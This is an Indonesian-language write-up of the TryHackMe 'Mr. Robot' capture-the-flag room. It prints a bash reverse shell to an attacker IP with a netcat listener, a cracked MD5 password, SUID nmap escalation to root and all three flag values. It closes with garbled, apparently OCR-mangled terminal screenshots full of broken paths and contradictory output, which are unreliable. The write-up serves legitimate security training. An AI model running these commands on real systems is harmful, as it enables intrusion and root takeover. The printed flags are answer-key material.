

Dokumentasi Mr. Robot CTF TryHackMe

Nama: Jonathan Jethro
Tanggal: 4 Mei 2025

1 Pendahuluan

Mr. Robot adalah CTF dari TryHackMe yang terinspirasi dari serial TV populer. Tujuan utama adalah mendapatkan ketiga flag tersembunyi dengan melakukan web enumeration, eksploitasi, dan privilege escalation.

Link Room: <https://tryhackme.com/room/mrrobot>

2 Enumerasi

2.1 Nmap Scan

```
nmap -sC -sV -oA scans/initial 10.10.180.146
```

Port terbuka: 80 (HTTP) dan 443 (HTTPS). Situs menampilkan tema Mr. Robot.

2.2 robots.txt

```
User-agent: *  
fsociety.dic  
key-1-of-3.txt
```

File wordlist 'fsociety.dic' dan flag pertama ditemukan.

3 Eksploitasi Login

Setelah mencoba brute-force menggunakan 'fsociety.dic', ditemukan username 'elliott'. Namun metode yang berhasil adalah:

- Menemukan halaman vulnerable upload/reverse shell.
- Mengirim reverse shell dengan payload bash.
- Mendengarkan dengan netcat.

```
# Payload reverse shell
bash -i >& /dev/tcp/10.9.0.247/4444 0>&1

# Di sisi attacker
nc -lvnp 4444
```

Setelah terhubung sebagai user 'daemon'.

4 Privilege Escalation ke robot

Setelah shell didapat, ditemukan file:

```
cat /home/robot/password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
```

Hash ini didekripsi menggunakan CrackStation:

- MD5: c3fcd3d76192e4007dfb496cca67e13b
- Password: abcdefghijklmnopqrstuvwxyz

Kemudian dilakukan login dengan:

```
su robot
# Password: abcdefghijklmnopqrstuvwxyz
```

Setelah berhasil login sebagai 'robot', ditemukan flag kedua.

5 Privilege Escalation ke Root

User 'robot' tidak memiliki akses 'sudo'. Maka dilakukan pencarian binary SUID:

```
find / -perm -4000 -type f 2>/dev/null
```

Ditemukan:

```
/usr/local/bin/nmap
```

Nmap dijalankan dalam mode interaktif:

```
/usr/local/bin/nmap --interactive
nmap> !sh
```

Berhasil mendapatkan shell sebagai root dan mengambil flag ketiga.

6 Flag Capture

Flag 1

Lokasi: /key-1-of-3.txt Isi: 073403c8a58a1f80d943455fb30724b9

Flag 2

Lokasi: /home/robot/key-2-of-3.txt Isi: 822c73956184f694993bede3eb39f959

Flag 3

Lokasi: /root/key-3-of-3.txt **Isi:** 04787ddef27c3dee1ee161b21670b4e4

7 Kesimpulan

Mr. Robot CTF memberikan tantangan eksplorasi web dan privilege escalation yang realistis. Teknik yang dipelajari:

- Enumerasi file tersembunyi dan wordlist.
- Pemanfaatan reverse shell manual.
- Cracking password menggunakan hash MD5.
- Privilege escalation melalui SUID binary ('nmap -interactive').

[illegible]

```
File Actions Edit View Help
cat /home/robot/key-2-of-3.txt
cat /home/robot/key-2-of-3.txt Permission denied
dameo@linux:/opt/bin$!napi/apps/acordpress/htdocscs u robot
su robot
Password: robot

su: Authentication failure
dameo@linux:/opt/bin$!napi/apps/acordpress/htdocscs su robot
su robot
Password: Sf6dc8j5aa79db1083270eb882cf99

su: Authentication failure
dameo@linux:/opt/bin$!napi/apps/acordpress/htdocscs u robot
su robot
Password: password

su: Authentication failure
dameo@linux:/opt/bin$!napi/apps/acordpress/htdocscs python -c "import pty; pty.s
python /bin/bash")
python /bin/bash") at pty: pty.spawn
dameo@linux:/opt/bin$!napi/apps/acordpress/htdocscs export TDM-term
export TDM-term
dameo@linux:/opt/bin$!napi/apps/acordpress/htdocscs u robot
su robot
Password: password

su: Authentication failure
dameo@linux:/opt/bin$!napi/apps/acordpress/htdocscs cat /home/robot/password.raw
cat /home/robot/password.raw.md
robot@robot:/opt/bin$!napi/apps/acordpress/htdocscs cat /home/robot/passwd
dameo@linux:/opt/bin$!napi/apps/acordpress/htdocscs u robot
su robot
Password: abcdefghijklmnopqrstuvwxyz

robot@linux:/opt/bin$!napi/apps/acordpress/htdocscs cat /home/robot/key-2-of-3.txt
cat /home/robot/key-2-of-3.txt
root@linux:/opt/bin$!napi/apps/acordpress/htdocscs cat /home/robot/key-2-of-3.txt
root@linux:/opt/bin$!napi/apps/acordpress/htdocscs sudo -l
sudo -l
[sudo] password for root: abcdefghijklmnopqrstuvwxyz

root@linux:/opt/bin$!napi/apps/acordpress/htdocscs find / -perm -4000 -type f 2>
find/.
/mnt -perm -4000 -type f 2>/dev/null
/bin/mount
/bin/ping
/bin/passwd
/bin/passwd
/bin/passwd
/usr/bin/passwd
/usr/bin/wmcpgr
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/sudo
usr/local/sbin/nmap
usr/lib/openbsd/ssh-keysign
usr/libexec/gcrypt-pst-net-device
```

```
File Actions Edit View Help
uname@kali:~/opt/bitnami/apps/wordpress/html$ cat /home/robot/password.raw
robot:1!@cD5f86V94e88f0f648cc46743b
uname@kali:~/opt/bitnami/apps/wordpress/html$ cat /home/robot/password
Password: abcdefghijklmnopqrstuvwxyz

robot@kali:~/opt/bitnami/apps/wordpress/html$ cat /home/robot/key-2-of-3.txt
cat: /home/robot/key-2-of-3.txt: No such file or directory
robot@kali:~/opt/bitnami/apps/wordpress/html$ sudo -l
Matching rule found
[sudo] password for robot: abcdefghijklmnopqrstuvwxyz

Sorry, user robot may not run sudo on linux.
robot@kali:~/opt/bitnami/apps/wordpress/html$ find / -perm -4000 -type f 2>
/dev/full
v/full -perm -4000 -type f 2>/dev/null
/bin/ping
/bin/mount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
usr/bin/mmap
usr/bin/chsh
usr/bin/chsh
usr/bin/passwd
usr/bin/sudo
usr/local/bin/mmap
usr/lib/openssh/ssh-keysign
usr/lib/ject/decrypt-gpt-device
usr/lib/wmare-tools/bin/wmare-user-suid-wrapper
usr/lib/wmare-tools/bin/wmare-user-suid-wrapper
usr/lib64_chown
robot@kali:~/opt/bitnami/apps/wordpress/html$ /usr/local/bin/mmap -interactive
usr/local/bin/mmap -interactive

Starting mmap V. 3.01 ( http://www.insecure.org/mmap/ )
Welcome to Interactive Mode - press h center for help
mmap> ls
ls
ls cat: /root/key-3-of-3.txt: No such file or directory
ls mv: /root/2C5de1ee16161670bue
```